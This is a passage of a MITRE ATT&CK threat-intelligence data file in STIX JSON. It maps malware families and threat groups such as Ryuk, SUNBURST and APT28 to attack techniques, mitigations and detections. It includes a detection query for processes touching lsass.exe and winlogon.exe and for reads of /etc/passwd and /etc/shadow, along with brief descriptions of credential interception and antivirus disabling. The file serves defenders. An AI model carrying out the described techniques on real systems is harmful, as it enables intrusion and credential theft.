ability to identify the username on the compromised host.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1567fbd3-5d2b-4040-a736-11f3d5e2139f","type":"relationship","created":"2020-05-06T03:23:03.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Silence Aug 2019","url":"https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf","description":"Group-IB. (2019, August). Silence 2.0: Going Global. Retrieved May 5, 2020."}],"modified":"2020-05-06T03:23:03.604Z","description":"(Citation: Group IB Silence Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15698fb0-12df-4135-8ecb-093e9fd268a2","type":"relationship","created":"2020-08-11T21:15:35.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-11T21:51:34.095Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can also embed data within a BMP image prior to exfiltration.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1569b958-8b61-42bc-8171-91a068d7fe1a","type":"relationship","created":"2020-10-20T15:42:48.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T15:39:45.956Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--156ab177-474c-495c-af01-3cb9147aa703","type":"relationship","created":"2020-05-14T15:09:48.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Ryuk and Trickbot January 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020."}],"modified":"2020-05-14T15:09:48.789Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has stopped services related to anti-virus.(Citation: FireEye Ryuk and Trickbot January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--156d46b3-538e-4481-ad53-b85de891f6d5","type":"relationship","created":"2021-06-30T19:54:33.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-08-19T18:19:50.555Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) can download files from C2.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1574a1bc-6b70-4179-b2e5-6f4233e7f5ff","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T16:17:00.855Z","description":"Monitor for unexpected processes interacting with authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.\n\nAnalytic 1 - Unauthorized process interactions with authentication mechanisms.\n\n( index=your_index source=\"WinEventLog:Security\" EventCode=4688 \n| where (New_Process_Name IN (\"C:\\\\Windows\\\\System32\\\\lsass.exe\", \"C:\\\\Windows\\\\System32\\\\winlogon.exe\"))\nAND (Parent_Process_Name != \"C:\\\\Windows\\\\System32\\\\services.exe\")\n| stats count by New_Process_Name, Parent_Process_Name, Account_Name, ComputerName) OR \n(index=your_index sourcetype=linux_auditd\n| where file IN (\"/etc/pam.d/\", \"/etc/passwd\", \"/etc/shadow\")\n| stats count by file, user, host )","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1576ad32-c7cc-45af-b39e-410d96a6f908","type":"relationship","created":"2020-06-18T17:45:26.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-10-14T20:39:50.185Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) has signed malware with self-signed certificates from fictitious and spoofed legitimate software companies.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1579fc90-9b45-4b72-af0a-7edf1fd9d268","created":"2022-04-28T16:02:59.296Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes and compare against known good baseline behavior.","modified":"2022-04-28T16:02:59.296Z","relationship_type":"detects","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1593ae11-0bb5-4e16-804a-1383eb0cced5","type":"relationship","created":"2017-05-31T21:33:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T14:44:52.137Z","description":"(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--b136d088-a829-432c-ac26-5529c26d4c7e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1596b872-504f-41f2-b9e4-918c795f0050","created":"2023-03-08T22:58:57.250Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-08T22:58:57.250Z","description":"Anti-virus can be used to automatically quarantine suspicious files. ","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15a571d1-652c-4148-9dee-12d3b1cbff62","type":"relationship","created":"2020-05-21T17:14:56.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.953Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can use net view to gather information about remote systems.(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15a63ae2-08d7-4771-9537-276835d7513f","created":"2024-08-27T21:03:56.211Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T21:09:49.666Z","description":"[VersaMem](https://attack.mitre.org/software/S1154) hooked and overrided Versa's built-in authentication method, `setUserPassword`, to intercept plaintext credentials when submitted to the server.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15a8c4ba-f86d-4b2f-a0c7-9390d22dbd4e","type":"relationship","created":"2019-07-18T21:12:51.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2020-03-19T19:05:42.179Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used the Windows command shell to execute commands.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15aa00d1-11c0-4be1-a900-ede5e1376110","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","source_name":"FireEye APT10 April 2017"}],"modified":"2019-09-03T18:50:16.895Z","description":"(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--3240cbe4-c550-443b-aa76-cc2a7058b870","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--15b1bc2a-4cd1-4b82-90b0-2aa6e69637c7","created":"2022-03-25T14:32:35.594Z","x_mitre_version":"1.0","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Donut](https://attack.mitre.org/software/S0695) can generate shellcode outputs that execute via Python.(Citation: Donut Github)\t","modified":"2022-04-18T16:25:20.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15b9b22e-7896-4219-8ec9-59b099644a6f","type":"relationship","created":"2020-03-27T13:14:04.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-16T19:46:03.612Z","description":"System settings can prevent applications from running that haven't been downloaded through the Apple Store (or other legitimate repositories) which can help mitigate some of these issues. Also enable application control solutions such as AppLocker and/or Device Guard to block the loading of malicious content.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15bb2796-7c6d-4d03-8d86-8d83254bcf0b","type":"relationship","created":"2019-08-26T13:02:46.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET TeleBots Oct 2018","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."},{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:29:49.400Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a command to download a file from and to a remote C2 server.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15bbd8e5-60ad-4906-8231-f92c231bb1ec","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Sofacy Feb 2018","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/"},{"source_name":"Sofacy DealersChoice","description":"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-03-09T23:21:17.002Z","description":"[APT28](https://attack.mitre.org/groups/G0007) sent spearphishing emails containing malicious Microsoft Office and RAR attachments.(Citation: Unit 42 Sofacy Feb 2018)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: DOJ GRU Indictment Jul 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15c274dd-c045-43d6-a038-fa969dd04c8d","created":"2024-03-13T20:36:03.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:46:29.744Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors sent a magic 48-byte sequence to enable the PITSOCK backdoor to communicate via the `/tmp/clientsDownload.sock` socket.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15c3f3a3-03c9-4591-a2d2-64b5eafbd4a7","type":"relationship","created":"2020-06-11T20:08:11.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-11T20:08:11.412Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to capture webcam video.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--15c71de6-bc1d-451f-8c61-a982516bb18b","created":"2022-08-07T14:34:40.854Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) uses a loader DLL file to collect AV product names from an infected host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.276Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15cae685-cd89-4b79-b89b-e7153fb16ba2","type":"relationship","created":"2020-10-20T15:50:00.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:07:08.695Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15ccaabe-9b15-4d30-8931-d86d9af9f911","created":"2024-09-16T08:49:27.754Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:49:27.754Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) compromises the `.text` section of a legitimate system DLL in `%windir%` to hold the contents of retrieved plug-ins.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15cccbec-2d40-4f28-a46e-c985bbb20c87","type":"relationship","created":"2020-03-18T20:08:42.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}],"modified":"2021-11-01T21:12:15.032Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) performs account discovery using commands such as net localgroup administrators and net group \"REDACTED\" /domain on specific permissions groups.(Citation: Mandiant Operation Ke3chang November 2014)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15cd99f1-29b4-4603-ae74-fdc204afead4","type":"relationship","created":"2021-01-06T16:56:56.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T17:27:11.064Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) had commands that allow an attacker to write or delete registry keys, and was observed stopping services by setting their HKLM\\SYSTEM\\CurrentControlSet\\services\\\\[service_name]\\\\Start registry entries to value 4.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020) It also deleted previously-created Image File Execution Options (IFEO) Debugger registry values and registry keys related to HTTP proxy to clean up traces of its activity.(Citation: Microsoft Deep Dive Solorigate January 